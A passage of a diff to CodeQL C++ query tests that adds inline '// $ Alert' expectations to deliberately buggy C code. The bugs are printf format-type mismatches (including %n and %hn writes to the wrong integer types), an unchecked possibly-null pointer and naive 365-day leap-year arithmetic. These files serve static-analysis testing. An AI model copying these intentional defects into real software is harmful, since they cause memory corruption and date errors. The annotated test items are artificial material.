printf("%i", MYONETHOUSAND); // ok - printf("%s", MYONETHOUSAND); // not ok (enum -> char *) + printf("%s", MYONETHOUSAND); // not ok (enum -> char *) // $ Alert printf("%c", MYONETHOUSAND); // not ok (enum -> char) [NOT DETECTED] printf("%i", mi); // ok printf("%u", mi); // not ok (int -> unsigned int) [NOT DETECTED] - printf("%d", ull); // not ok (unsigned long long -> int) - printf("%u", ull); // not ok (unsigned long long -> unsigned int) - printf("%x", ull); // not ok (unsigned long long -> unsigned int) + printf("%d", ull); // not ok (unsigned long long -> int) // $ Alert + printf("%u", ull); // not ok (unsigned long long -> unsigned int) // $ Alert + printf("%x", ull); // not ok (unsigned long long -> unsigned int) // $ Alert printf("%Lx", ull); // ok printf("%llx", ull); // ok } @@ -127,7 +127,7 @@ void fun3(void *p1, VOIDPTR p2, FUNPTR p3, char *p4) printf("%p\n", p3); // GOOD printf("%p\n", p4); // GOOD printf("%p\n", p4 + 1); // GOOD - printf("%p\n", 0); // GOOD [FALSE POSITIVE] + printf("%p\n", 0); // GOOD [FALSE POSITIVE] // $ Alert } typedef unsigned int wint_t; @@ -165,8 +165,8 @@ void fun4() long long ll; unsigned long long ull; - printf("%qi\n", i); // BAD - printf("%qu\n", ui); // BAD + printf("%qi\n", i); // BAD // $ Alert + printf("%qu\n", ui); // BAD // $ Alert printf("%qi\n", l); // GOOD printf("%qu\n", ul); // GOOD printf("%qi\n", ll); // GOOD diff --git a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_unsigned_chars/real_world.h b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_unsigned_chars/real_world.h index eefb84993e74..6e592a95dc04 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_unsigned_chars/real_world.h +++ b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_unsigned_chars/real_world.h @@ -58,9 +58,9 @@ void bar() printf("check %n", &i); // GOOD printf("check %n", &ui); // GOOD [dubious: int is written to unsigned int] printf("check %n", &si); // GOOD - printf("check %n", &s); // BAD: int is written to short - printf("check %hn", &i); // BAD: short is written to int - printf("check %hn", &ui); // BAD: short is written to unsigned int - printf("check %hn", &si); // BAD: short is written to signed int + printf("check %n", &s); // BAD: int is written to short // $ Alert + printf("check %hn", &i); // BAD: short is written to int // $ Alert + printf("check %hn", &ui); // BAD: short is written to unsigned int // $ Alert + printf("check %hn", &si); // BAD: short is written to signed int // $ Alert printf("check %hn", &s); // GOOD } diff --git a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_unsigned_chars/wide_string.h b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_unsigned_chars/wide_string.h index 73bdee5b8b11..65042f843003 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_unsigned_chars/wide_string.h +++ b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Linux_unsigned_chars/wide_string.h @@ -22,7 +22,7 @@ void test_wchar4(char c, const char cc, wchar_t wc, const wchar_t wcc) { printf("%c", c); // GOOD printf("%c", cc); // GOOD printf("%c", 'c'); // GOOD - printf("%c", "c"); // BAD + printf("%c", "c"); // BAD // $ Alert printf("%wc", wc); // GOOD printf("%wc", wcc); // GOOD printf("%wc", L'c'); // GOOD diff --git a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Microsoft/WrongTypeFormatArguments.qlref b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Microsoft/WrongTypeFormatArguments.qlref index 6f557ace55a5..370dae334d68 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Microsoft/WrongTypeFormatArguments.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Microsoft/WrongTypeFormatArguments.qlref @@ -1 +1,2 @@ -Likely Bugs/Format/WrongTypeFormatArguments.ql +query: Likely Bugs/Format/WrongTypeFormatArguments.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Microsoft/format.h b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Microsoft/format.h index 889dd2f58c8c..e5421e760a37 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Microsoft/format.h +++ b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Microsoft/format.h @@ -13,5 +13,5 @@ static void error(int x1, int x2, int x3, int x4, int x5, void format2(char *str, int i, double d) { error(1, 2, 3, 4, 5, "%s %d %f", 1, 2, 3, 4, 5, 6, 7, str, i, d); - error(1, 2, 3, 4, 5, "%d %f %s", 1, 2, 3, 4, 5, 6, 7, str, i, d); + error(1, 2, 3, 4, 5, "%d %f %s", 1, 2, 3, 4, 5, 6, 7, str, i, d); // $ Alert } diff --git a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Microsoft/pri_macros.h b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Microsoft/pri_macros.h index 782ee23faf30..2222b7e42518 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Microsoft/pri_macros.h +++ b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Microsoft/pri_macros.h @@ -12,5 +12,5 @@ void test_PRI_macros() { printf("my_u64 = %" PRIu64 "\n", my_u64); // GOOD printf("my_u64 = %" PRIx64 "\n", my_u64); // GOOD printf("my_u64 = %" PRIi64 "\n", my_u64); // BAD: uint64_t read as int64_t [NOT DETECTED] - printf("my_u64 = %" PRIu32 "\n", my_u64); // BAD: uint64_t read as uint32_t + printf("my_u64 = %" PRIu32 "\n", my_u64); // BAD: uint64_t read as uint32_t // $ Alert } diff --git a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Microsoft/printf1.h b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Microsoft/printf1.h index 2fb361d485c5..80e8b74d9a33 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Microsoft/printf1.h +++ b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Microsoft/printf1.h @@ -9,22 +9,22 @@ void f(char *s, int i, unsigned char *us, const char *cs, signed char *ss, char const char cc = 'x'; printf("%s: %d\n", s, i); // ok - printf("%s: %f\n", s, i); // not ok (int -> float) + printf("%s: %f\n", s, i); // not ok (int -> float) // $ Alert printf("%s", us); // ok printf("%s", cs); // ok printf("%s", ss); // ok printf("%p", cs); // ok - printf("%p", i); // not ok (int -> void *) + printf("%p", i); // not ok (int -> void *) // $ Alert printf("%p", &f); // ok printf("%*s", i, cs); // ok printf("%*s", mi, cs); // ok printf("%*s", c, cs); // ok printf("%*s", cc, cs); // ok - printf("%*s", i, i); // not ok (int -> char *) + printf("%*s", i, i); // not ok (int -> char *) // $ Alert printf("%d %% %*s", i, i, cs); // ok - printf("%*s", cs, cs); // not ok (the width argument should be integer) + printf("%*s", cs, cs); // not ok (the width argument should be integer) // $ Alert printf("%c", 10); // ok printf("%c", 1000); // not ok [NOT DETECTED] @@ -35,15 +35,15 @@ void f(char *s, int i, unsigned char *us, const char *cs, signed char *ss, char printf("%u", 1000); // ok printf("%i", MYONETHOUSAND); // ok - printf("%s", MYONETHOUSAND); // not ok (enum -> char *) + printf("%s", MYONETHOUSAND); // not ok (enum -> char *) // $ Alert printf("%c", MYONETHOUSAND); // not ok (enum -> char) [NOT DETECTED] printf("%i", mi); // ok printf("%u", mi); // not ok (int -> unsigned int) [NOT DETECTED] - printf("%d", ull); // not ok (unsigned long long -> int) - printf("%u", ull); // not ok (unsigned long long -> unsigned int) - printf("%x", ull); // not ok (unsigned long long -> unsigned int) + printf("%d", ull); // not ok (unsigned long long -> int) // $ Alert + printf("%u", ull); // not ok (unsigned long long -> unsigned int) // $ Alert + printf("%x", ull); // not ok (unsigned long long -> unsigned int) // $ Alert printf("%Lx", ull); // ok printf("%llx", ull); // ok } @@ -59,20 +59,20 @@ void g() const SIZE_T C_ST = sizeof(st); ssize_t sst; - printf("%zu", ul); // not ok + printf("%zu", ul); // not ok // $ Alert printf("%zu", st); // ok printf("%zu", ST); // ok printf("%zu", c_st); // ok printf("%zu", C_ST); // ok printf("%zu", sizeof(ul)); // ok - printf("%zu", sst); // not ok + printf("%zu", sst); // not ok // $ Alert printf("%zd", ul); // not ok [NOT DETECTED] - printf("%zd", st); // not ok - printf("%zd", ST); // not ok - printf("%zd", c_st); // not ok - printf("%zd", C_ST); // not ok - printf("%zd", sizeof(ul)); // not ok + printf("%zd", st); // not ok // $ Alert + printf("%zd", ST); // not ok // $ Alert + printf("%zd", c_st); // not ok // $ Alert + printf("%zd", C_ST); // not ok // $ Alert + printf("%zd", sizeof(ul)); // not ok // $ Alert printf("%zd", sst); // ok { char *ptr_a, *ptr_b; @@ -81,7 +81,7 @@ void g() printf("%tu", ptr_a - ptr_b); // ok printf("%td", ptr_a - ptr_b); // ok printf("%zu", ptr_a - ptr_b); // ok (dubious) - printf("%zd", ptr_a - ptr_b); // ok (dubious) [FALSE POSITIVE] + printf("%zd", ptr_a - ptr_b); // ok (dubious) [FALSE POSITIVE] // $ Alert } } @@ -113,8 +113,8 @@ void fun2() { printf("%S", myString1); // GOOD printf("%S", myString2); // GOOD - printf("%S", myString3); // BAD - printf("%S", myString4); // BAD + printf("%S", myString3); // BAD // $ Alert + printf("%S", myString4); // BAD // $ Alert } typedef void *VOIDPTR; @@ -127,7 +127,7 @@ void fun3(void *p1, VOIDPTR p2, FUNPTR p3, char *p4) printf("%p\n", p3); // GOOD printf("%p\n", p4); // GOOD printf("%p\n", p4 + 1); // GOOD - printf("%p\n", 0); // GOOD [FALSE POSITIVE] + printf("%p\n", 0); // GOOD [FALSE POSITIVE] // $ Alert } typedef unsigned int wint_t; @@ -178,21 +178,21 @@ void fun4() printf("%I32u\n", ui); // GOOD printf("%I32i\n", l); // GOOD printf("%I32u\n", ul); // GOOD - printf("%I32i\n", ll); // BAD - printf("%I32u\n", ull); // BAD + printf("%I32i\n", ll); // BAD // $ Alert + printf("%I32u\n", ull); // BAD // $ Alert printf("%I32i\n", i32); // GOOD printf("%I32u\n", u32); // GOOD - printf("%I32i\n", i64); // BAD - printf("%I32u\n", u64); // BAD + printf("%I32i\n", i64); // BAD // $ Alert + printf("%I32u\n", u64); // BAD // $ Alert - printf("%I64i\n", i); // BAD - printf("%I64u\n", ui); // BAD - printf("%I64i\n", l); // BAD - printf("%I64u\n", ul); // BAD + printf("%I64i\n", i); // BAD // $ Alert + printf("%I64u\n", ui); // BAD // $ Alert + printf("%I64i\n", l); // BAD // $ Alert + printf("%I64u\n", ul); // BAD // $ Alert printf("%I64i\n", ll); // GOOD printf("%I64u\n", ull); // GOOD - printf("%I64i\n", i32); // BAD - printf("%I64u\n", u32); // BAD + printf("%I64i\n", i32); // BAD // $ Alert + printf("%I64u\n", u32); // BAD // $ Alert printf("%I64i\n", i64); // GOOD printf("%I64u\n", u64); // GOOD } diff --git a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Microsoft/real_world.h b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Microsoft/real_world.h index e88d0318bb05..9eb5fd0bb23c 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Microsoft/real_world.h +++ b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Microsoft/real_world.h @@ -58,9 +58,9 @@ void bar() printf("check %n", &i); // GOOD printf("check %n", &ui); // GOOD [dubious: int is written to unsigned int] printf("check %n", &si); // GOOD - printf("check %n", &s); // BAD: int is written to short - printf("check %hn", &i); // BAD: short is written to int - printf("check %hn", &ui); // BAD: short is written to unsigned int - printf("check %hn", &si); // BAD: short is written to signed int + printf("check %n", &s); // BAD: int is written to short // $ Alert + printf("check %hn", &i); // BAD: short is written to int // $ Alert + printf("check %hn", &ui); // BAD: short is written to unsigned int // $ Alert + printf("check %hn", &si); // BAD: short is written to signed int // $ Alert printf("check %hn", &s); // GOOD } diff --git a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Microsoft/wide_string.h b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Microsoft/wide_string.h index 672329b62706..3f9abeb01824 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Microsoft/wide_string.h +++ b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Microsoft/wide_string.h @@ -22,9 +22,9 @@ void test_wchar4(char c, const char cc, wchar_t wc, const wchar_t wcc) { printf("%c", c); // GOOD printf("%c", cc); // GOOD printf("%c", 'c'); // GOOD - printf("%c", "c"); // BAD + printf("%c", "c"); // BAD // $ Alert printf("%wc", wc); // GOOD printf("%wc", wcc); // GOOD printf("%wc", L'c'); // GOOD - printf("%wc", L"c"); // BAD + printf("%wc", L"c"); // BAD // $ Alert } diff --git a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Microsoft_no_wchar/WrongTypeFormatArguments.qlref b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Microsoft_no_wchar/WrongTypeFormatArguments.qlref index 6f557ace55a5..370dae334d68 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Microsoft_no_wchar/WrongTypeFormatArguments.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Microsoft_no_wchar/WrongTypeFormatArguments.qlref @@ -1 +1,2 @@ -Likely Bugs/Format/WrongTypeFormatArguments.ql +query: Likely Bugs/Format/WrongTypeFormatArguments.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Microsoft_no_wchar/format.h b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Microsoft_no_wchar/format.h index 889dd2f58c8c..e5421e760a37 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Microsoft_no_wchar/format.h +++ b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Microsoft_no_wchar/format.h @@ -13,5 +13,5 @@ static void error(int x1, int x2, int x3, int x4, int x5, void format2(char *str, int i, double d) { error(1, 2, 3, 4, 5, "%s %d %f", 1, 2, 3, 4, 5, 6, 7, str, i, d); - error(1, 2, 3, 4, 5, "%d %f %s", 1, 2, 3, 4, 5, 6, 7, str, i, d); + error(1, 2, 3, 4, 5, "%d %f %s", 1, 2, 3, 4, 5, 6, 7, str, i, d); // $ Alert } diff --git a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Microsoft_no_wchar/pri_macros.h b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Microsoft_no_wchar/pri_macros.h index 782ee23faf30..2222b7e42518 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Microsoft_no_wchar/pri_macros.h +++ b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Microsoft_no_wchar/pri_macros.h @@ -12,5 +12,5 @@ void test_PRI_macros() { printf("my_u64 = %" PRIu64 "\n", my_u64); // GOOD printf("my_u64 = %" PRIx64 "\n", my_u64); // GOOD printf("my_u64 = %" PRIi64 "\n", my_u64); // BAD: uint64_t read as int64_t [NOT DETECTED] - printf("my_u64 = %" PRIu32 "\n", my_u64); // BAD: uint64_t read as uint32_t + printf("my_u64 = %" PRIu32 "\n", my_u64); // BAD: uint64_t read as uint32_t // $ Alert } diff --git a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Microsoft_no_wchar/printf1.h b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Microsoft_no_wchar/printf1.h index 8222cfa67b25..90fd490c9544 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Microsoft_no_wchar/printf1.h +++ b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Microsoft_no_wchar/printf1.h @@ -9,22 +9,22 @@ void f(char *s, int i, unsigned char *us, const char *cs, signed char *ss, char const char cc = 'x'; printf("%s: %d\n", s, i); // ok - printf("%s: %f\n", s, i); // not ok (int -> float) + printf("%s: %f\n", s, i); // not ok (int -> float) // $ Alert printf("%s", us); // ok printf("%s", cs); // ok printf("%s", ss); // ok printf("%p", cs); // ok - printf("%p", i); // not ok (int -> void *) + printf("%p", i); // not ok (int -> void *) // $ Alert printf("%p", &f); // ok printf("%*s", i, cs); // ok printf("%*s", mi, cs); // ok printf("%*s", c, cs); // ok printf("%*s", cc, cs); // ok - printf("%*s", i, i); // not ok (int -> char *) + printf("%*s", i, i); // not ok (int -> char *) // $ Alert printf("%d %% %*s", i, i, cs); // ok - printf("%*s", cs, cs); // not ok (the width argument should be integer) + printf("%*s", cs, cs); // not ok (the width argument should be integer) // $ Alert printf("%c", 10); // ok printf("%c", 1000); // not ok [NOT DETECTED] @@ -35,15 +35,15 @@ void f(char *s, int i, unsigned char *us, const char *cs, signed char *ss, char printf("%u", 1000); // ok printf("%i", MYONETHOUSAND); // ok - printf("%s", MYONETHOUSAND); // not ok (enum -> char *) + printf("%s", MYONETHOUSAND); // not ok (enum -> char *) // $ Alert printf("%c", MYONETHOUSAND); // not ok (enum -> char) [NOT DETECTED] printf("%i", mi); // ok printf("%u", mi); // not ok (int -> unsigned int) [NOT DETECTED] - printf("%d", ull); // not ok (unsigned long long -> int) - printf("%u", ull); // not ok (unsigned long long -> unsigned int) - printf("%x", ull); // not ok (unsigned long long -> unsigned int) + printf("%d", ull); // not ok (unsigned long long -> int) // $ Alert + printf("%u", ull); // not ok (unsigned long long -> unsigned int) // $ Alert + printf("%x", ull); // not ok (unsigned long long -> unsigned int) // $ Alert printf("%Lx", ull); // ok printf("%llx", ull); // ok } @@ -59,20 +59,20 @@ void g() const SIZE_T C_ST = sizeof(st); ssize_t sst; - printf("%zu", ul); // not ok + printf("%zu", ul); // not ok // $ Alert printf("%zu", st); // ok printf("%zu", ST); // ok printf("%zu", c_st); // ok printf("%zu", C_ST); // ok printf("%zu", sizeof(ul)); // ok - printf("%zu", sst); // not ok + printf("%zu", sst); // not ok // $ Alert printf("%zd", ul); // not ok [NOT DETECTED] - printf("%zd", st); // not ok - printf("%zd", ST); // not ok - printf("%zd", c_st); // not ok - printf("%zd", C_ST); // not ok - printf("%zd", sizeof(ul)); // not ok + printf("%zd", st); // not ok // $ Alert + printf("%zd", ST); // not ok // $ Alert + printf("%zd", c_st); // not ok // $ Alert + printf("%zd", C_ST); // not ok // $ Alert + printf("%zd", sizeof(ul)); // not ok // $ Alert printf("%zd", sst); // ok { char *ptr_a, *ptr_b; @@ -81,7 +81,7 @@ void g() printf("%tu", ptr_a - ptr_b); // ok printf("%td", ptr_a - ptr_b); // ok printf("%zu", ptr_a - ptr_b); // ok (dubious) - printf("%zd", ptr_a - ptr_b); // ok (dubious) [FALSE POSITIVE] + printf("%zd", ptr_a - ptr_b); // ok (dubious) [FALSE POSITIVE] // $ Alert } } @@ -127,7 +127,7 @@ void fun3(void *p1, VOIDPTR p2, FUNPTR p3, char *p4) printf("%p\n", p3); // GOOD printf("%p\n", p4); // GOOD printf("%p\n", p4 + 1); // GOOD - printf("%p\n", 0); // GOOD [FALSE POSITIVE] + printf("%p\n", 0); // GOOD [FALSE POSITIVE] // $ Alert } void fun4() @@ -152,21 +152,21 @@ void fun4() printf("%I32u\n", ui); // GOOD printf("%I32i\n", l); // GOOD printf("%I32u\n", ul); // GOOD - printf("%I32i\n", ll); // BAD - printf("%I32u\n", ull); // BAD + printf("%I32i\n", ll); // BAD // $ Alert + printf("%I32u\n", ull); // BAD // $ Alert printf("%I32i\n", i32); // GOOD printf("%I32u\n", u32); // GOOD - printf("%I32i\n", i64); // BAD - printf("%I32u\n", u64); // BAD + printf("%I32i\n", i64); // BAD // $ Alert + printf("%I32u\n", u64); // BAD // $ Alert - printf("%I64i\n", i); // BAD - printf("%I64u\n", ui); // BAD - printf("%I64i\n", l); // BAD - printf("%I64u\n", ul); // BAD + printf("%I64i\n", i); // BAD // $ Alert + printf("%I64u\n", ui); // BAD // $ Alert + printf("%I64i\n", l); // BAD // $ Alert + printf("%I64u\n", ul); // BAD // $ Alert printf("%I64i\n", ll); // GOOD printf("%I64u\n", ull); // GOOD - printf("%I64i\n", i32); // BAD - printf("%I64u\n", u32); // BAD + printf("%I64i\n", i32); // BAD // $ Alert + printf("%I64u\n", u32); // BAD // $ Alert printf("%I64i\n", i64); // GOOD printf("%I64u\n", u64); // GOOD } diff --git a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Microsoft_no_wchar/real_world.h b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Microsoft_no_wchar/real_world.h index eefb84993e74..6e592a95dc04 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Microsoft_no_wchar/real_world.h +++ b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Microsoft_no_wchar/real_world.h @@ -58,9 +58,9 @@ void bar() printf("check %n", &i); // GOOD printf("check %n", &ui); // GOOD [dubious: int is written to unsigned int] printf("check %n", &si); // GOOD - printf("check %n", &s); // BAD: int is written to short - printf("check %hn", &i); // BAD: short is written to int - printf("check %hn", &ui); // BAD: short is written to unsigned int - printf("check %hn", &si); // BAD: short is written to signed int + printf("check %n", &s); // BAD: int is written to short // $ Alert + printf("check %hn", &i); // BAD: short is written to int // $ Alert + printf("check %hn", &ui); // BAD: short is written to unsigned int // $ Alert + printf("check %hn", &si); // BAD: short is written to signed int // $ Alert printf("check %hn", &s); // GOOD } diff --git a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Microsoft_no_wchar/wide_string.h b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Microsoft_no_wchar/wide_string.h index 672329b62706..3f9abeb01824 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Microsoft_no_wchar/wide_string.h +++ b/cpp/ql/test/query-tests/Likely Bugs/Format/WrongTypeFormatArguments/Microsoft_no_wchar/wide_string.h @@ -22,9 +22,9 @@ void test_wchar4(char c, const char cc, wchar_t wc, const wchar_t wcc) { printf("%c", c); // GOOD printf("%c", cc); // GOOD printf("%c", 'c'); // GOOD - printf("%c", "c"); // BAD + printf("%c", "c"); // BAD // $ Alert printf("%wc", wc); // GOOD printf("%wc", wcc); // GOOD printf("%wc", L'c'); // GOOD - printf("%wc", L"c"); // BAD + printf("%wc", L"c"); // BAD // $ Alert } diff --git a/cpp/ql/test/query-tests/Likely Bugs/InconsistentCheckReturnNull/InconsistentCheckReturnNull.qlref b/cpp/ql/test/query-tests/Likely Bugs/InconsistentCheckReturnNull/InconsistentCheckReturnNull.qlref index 8ede85c2d6fd..676a003f0585 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/InconsistentCheckReturnNull/InconsistentCheckReturnNull.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/InconsistentCheckReturnNull/InconsistentCheckReturnNull.qlref @@ -1 +1,2 @@ -Likely Bugs/InconsistentCheckReturnNull.ql +query: Likely Bugs/InconsistentCheckReturnNull.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/InconsistentCheckReturnNull/test.c b/cpp/ql/test/query-tests/Likely Bugs/InconsistentCheckReturnNull/test.c index 0f7887666df9..f2383982771b 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/InconsistentCheckReturnNull/test.c +++ b/cpp/ql/test/query-tests/Likely Bugs/InconsistentCheckReturnNull/test.c @@ -26,7 +26,7 @@ void f() { int* x7 = maybe_null_func(); if (x7) *x7 = 0; - int* x8 = maybe_null_func(); + int* x8 = maybe_null_func(); // $ Alert *x8 = 0; int* x9 = maybe_null_func(); diff --git a/cpp/ql/test/query-tests/Likely Bugs/Leap Year/Adding365DaysPerYear/Adding365daysPerYear.qlref b/cpp/ql/test/query-tests/Likely Bugs/Leap Year/Adding365DaysPerYear/Adding365daysPerYear.qlref index 4420b542ca43..9352fe408e8c 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Leap Year/Adding365DaysPerYear/Adding365daysPerYear.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/Leap Year/Adding365DaysPerYear/Adding365daysPerYear.qlref @@ -1 +1,2 @@ -Likely Bugs/Leap Year/Adding365DaysPerYear.ql +query: Likely Bugs/Leap Year/Adding365DaysPerYear.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/Leap Year/Adding365DaysPerYear/test.cpp b/cpp/ql/test/query-tests/Likely Bugs/Leap Year/Adding365DaysPerYear/test.cpp index a14667c75ca5..8fb6d8e01551 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Leap Year/Adding365DaysPerYear/test.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/Leap Year/Adding365DaysPerYear/test.cpp @@ -170,8 +170,8 @@ void antipattern2() qwLongTime += 365 * 24 * 60 * 60 * 10000000LLU; // copy back to a FILETIME - ft.dwLowDateTime = (DWORD)(qwLongTime & 0xFFFFFFFF); // BAD - ft.dwHighDateTime = (DWORD)(qwLongTime >> 32); // BAD + ft.dwLowDateTime = (DWORD)(qwLongTime & 0xFFFFFFFF); // BAD // $ Alert + ft.dwHighDateTime = (DWORD)(qwLongTime >> 32); // BAD // $ Alert // convert back to SYSTEMTIME for display or other usage FileTimeToSystemTime(&ft, &st); @@ -190,7 +190,7 @@ time_t mkTime(int days) tm.tm_hour = 0; tm.tm_mday = 0; tm.tm_mon = 0; - tm.tm_year = days / 365; // BAD + tm.tm_year = days / 365; // BAD // $ Alert // ... t = mktime(&tm); // convert tm -> time_t @@ -214,8 +214,8 @@ void checkedExample() qwLongTime += 365 * 24 * 60 * 60 * 10000000LLU; // copy back to a FILETIME - ft.dwLowDateTime = (DWORD)(qwLongTime & 0xFFFFFFFF); // GOOD [FALSE POSITIVE] - ft.dwHighDateTime = (DWORD)(qwLongTime >> 32); // GOOD [FALSE POSITIVE] + ft.dwLowDateTime = (DWORD)(qwLongTime & 0xFFFFFFFF); // GOOD [FALSE POSITIVE] // $ Alert + ft.dwHighDateTime = (DWORD)(qwLongTime >> 32); // GOOD [FALSE POSITIVE] // $ Alert // convert back to SYSTEMTIME for display or other usage if (FileTimeToSystemTime(&ft, &st) == 0) diff --git a/cpp/ql/test/query-tests/Likely Bugs/Leap Year/UncheckedLeapYearAfterYearModification/UncheckedReturnValueForTimeFunctions.qlref b/cpp/ql/test/query-tests/Likely Bugs/Leap Year/UncheckedLeapYearAfterYearModification/UncheckedReturnValueForTimeFunctions.qlref index 70eae8e7edc9..8dfe8a5c1e1e 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Leap Year/UncheckedLeapYearAfterYearModification/UncheckedReturnValueForTimeFunctions.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/Leap Year/UncheckedLeapYearAfterYearModification/UncheckedReturnValueForTimeFunctions.qlref @@ -1 +1,2 @@ -Likely Bugs/Leap Year/UncheckedReturnValueForTimeFunctions.ql +query: Likely Bugs/Leap Year/UncheckedReturnValueForTimeFunctions.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/Leap Year/UncheckedLeapYearAfterYearModification/test.cpp b/cpp/ql/test/query-tests/Likely Bugs/Leap Year/UncheckedLeapYearAfterYearModification/test.cpp index 6e0320e8d84d..7a0b176f8bf9 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Leap Year/UncheckedLeapYearAfterYearModification/test.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/Leap Year/UncheckedLeapYearAfterYearModification/test.cpp @@ -422,7 +422,7 @@ void AntiPattern_unchecked_filetime_conversion2a() st.wYear += 2; // $ Alert[cpp/leap-year/unchecked-after-arithmetic-year-modification] // BUG - UncheckedReturnValueForTimeFunctions - SystemTimeToFileTime(&st, &ft); + SystemTimeToFileTime(&st, &ft); // $ Alert[cpp/leap-year/unchecked-return-value-for-time-conversion-function] } /** @@ -440,7 +440,7 @@ void AntiPattern_unchecked_filetime_conversion2b() st.wYear++; // $ Alert[cpp/leap-year/unchecked-after-arithmetic-year-modification] // BUG - UncheckedReturnValueForTimeFunctions - SystemTimeToFileTime(&st, &ft); + SystemTimeToFileTime(&st, &ft); // $ Alert[cpp/leap-year/unchecked-return-value-for-time-conversion-function] } /** @@ -456,7 +456,7 @@ void AntiPattern_unchecked_filetime_conversion2b(SYSTEMTIME* st) st->wYear++; // $ Alert[cpp/leap-year/unchecked-after-arithmetic-year-modification] // BUG - UncheckedReturnValueForTimeFunctions - SystemTimeToFileTime(st, &ft); + SystemTimeToFileTime(st, &ft); // $ Alert[cpp/leap-year/unchecked-return-value-for-time-conversion-function] } /** @@ -950,7 +950,7 @@ void tp_intermediaryVar(struct timespec now, struct logtime ×tamp_remote) // BUG - UncheckedLeapYearAfterYearModification st.wYear = st.wYear + 1; // $ 